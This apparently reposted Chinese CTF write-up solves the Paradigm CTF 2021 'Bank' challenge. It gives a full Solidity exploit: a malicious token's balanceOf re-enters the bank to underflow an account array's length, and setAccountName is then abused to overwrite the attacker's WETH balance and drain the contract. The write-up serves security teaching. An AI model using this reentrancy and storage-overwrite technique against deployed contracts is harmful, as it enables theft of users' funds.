Paradigm CTF 2021——BANK

WriteUp 6个月前 admin
48 0 0

BANK



要求是清空bank合约中的50个WETH

function isSolved() external view returns (bool) {    return weth.balanceOf(address(bank)) == 0;}

阅读bank代码可以发现

  • depositToken, withdrawToken等函数都没有防止重入的措施

    • 没有nonReentry修饰符

  • 存在数组越界情况

  • accounts[msg.sender].length--;

    如果此时的 accounts[msg.sender].length == 0 ,则会使得 accounts[msg.sender].length 下溢出

    由此可以满足 setAccountName 的条件

    function setAccountName(uint accountId, string name) external {    require(accountId < accounts[msg.sender].length, "setAccountName/invalid-account");
    accounts[msg.sender][accountId].accountName = name;}
    • account.uniqueTokens--;

    • 复杂的数据结构

    struct Account {    string accountName;    uint uniqueTokens;    mapping(address => uint) balances;}
    mapping(address => Account[]) accounts;

    结合 setAccountName 函数,可以在任何我们感兴趣的Storage进行写入

于是想到可以先利用重入使 accounts[msg.sender].length 下溢,再在Storage写入我感兴趣的值,比如我的账户的WETH的余额等,然后再调用withdraw函数取出合约中所有的WETH到我的账户上。



重入和下溢

分析withdarwToken函数发现,有如下两个函数涉及到外部合约的调用:

ERC20Like(token).balanceOf(msg.sender)ERC20Like(token).transferFrom(msg.sender, address(this), amount)

并且withdarwToken和closeLastAccount都会涉及到 accounts[msg.sender].length--;

由此得到一个重入逻辑

deposit(0, address(this), 0) // 第一次调用balanceOf重入,len=1,uniqueTokens == 0    withdraw(0, address(this), 0) // 第二次调用balanceOf重入,len=1,uniqueTokens == 0        deposit(0, address(this), 0) // 第三次调用balanceOf重入,len=1,uniqueTokens == 0              closeLastAccount() // (通过检查 .length > 0 && uniqueTokens == 0)        deposit 继续执行并将 uniqueTokens 设置为 1     withdraw 继续执行并再次删除帐户(通过 uniqueTokens == 1 检查) deposit 继续执行,我们不关心它的作用

代码实现

reentrancyState = 1;bank.depositToken(0, address(this), 0);  
function balanceOf(address who ) public returns (uint256) { uint result = balances[who];
if (reentrancyState == 1) { reentrancyState++; bank.withdrawToken(0, this, 0); } else if (reentrancyState == 2) { reentrancyState++; bank.depositToken(0, this, 0); } else if (reentrancyState == 3) { reentrancyState++; bank.closeLastAccount(); }
return result;}



任意写入

再看一下 setAccountName 函数

function setAccountName(uint accountId, string name) external {    require(accountId < accounts[msg.sender].length, "setAccountName/invalid-account");
accounts[msg.sender][accountId].accountName = name;}


联系数据结构

struct Account {    string accountName;    uint uniqueTokens;    mapping(address => uint) balances;}
mapping(address => Account[]) accounts;


可以想到计算出一个accountId

可以通过 setAccountName 来设置WETH的余额

slot(accounts[msg.sender][accountId].accountName) == slot(accounts[msg.sender][accountId].balances[WETH])
slot(accounts[msg.sender][accountId].accountName) = { base_key = keccak(abi.encodePacked(msg.sender, 0x02)); //mapping(address => Account[]) acc_key = keccak(base_key) + 3 * accountId //Account[] 类似于动态数组 且Account占三个slot accountName_key = acc_key + 0x00 //accountName处于第一位}
slot(accounts[msg.sender][accountId].balances[WETH]) = { base_key2 = keccak(abi.encodePacked(msg.sender, 0x02)); acc_key2 = keccak(base_key2) + 3 * accountId balances[WETH]_key = keccak(abi.encodePacked(address(WETH), acc_key2+0x02)) //balances处于第三位}

由此可以得到以下攻击代码

import "./Setup.sol";
contract BadToken is ERC20Like { mapping(address => uint) balances;
uint stage = 0;
function transfer(address dst, uint qty) public returns (bool) { balances[msg.sender] -= qty; balances[dst] += qty; return true; }
function transferFrom(address src, address dst, uint qty) public returns (bool) { balances[src] -= qty; balances[dst] += qty; return true; }
function approve(address, uint) public returns (bool) { return true; }
function balanceOf(address who) public view returns (uint) { uint result = balances[who];
if (reentrancyState == 1) { reentrancyState++; bank.withdrawToken(0, this, 0); } else if (reentrancyState == 2) { reentrancyState++; bank.depositToken(0, this, 0); } else if (reentrancyState == 3) { reentrancyState++; bank.closeLastAccount(); }
return result; }
Bank private bank; WETH9 private weth; uint public reentrancyState;
function exploit(bankSetup setup) public { bank = setup.bank(); weth = setup.weth();
reentrancyState = 1; bank.depositToken(0, address(this), 0);
bytes32 myArraySlot = keccak256(bytes32(address(this)), uint(2)); bytes32 myArrayStart = keccak256(myArraySlot);
uint account = 0; uint slotsNeeded; while (true) { bytes32 account0Start = bytes32(uint(myArrayStart) + 3*account); bytes32 account0Balances = bytes32(uint(account0Start) + 2); bytes32 wethBalance = keccak256(bytes32(address(weth)), account0Balances);
slotsNeeded = (uint(-1) - uint(myArrayStart)); slotsNeeded++; slotsNeeded += uint(wethBalance); if (uint(slotsNeeded) % 3 == 0) { break; } account++; }
uint accountId = uint(slotsNeeded) / 3;
bank.setAccountName(accountId, string(abi.encodePacked(bytes31(uint248(uint(-1))))));
bank.withdrawToken(account, address(weth), weth.balanceOf(address(bank))); }}
contract bankExploit { constructor(bankSetup setup) public { new BadToken().exploit(setup); }}





原文始发于微信公众号(ChainSecLabs):Paradigm CTF 2021——BANK

版权声明:admin 发表于 2023年11月6日 下午8:16。
转载请注明:Paradigm CTF 2021——BANK | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...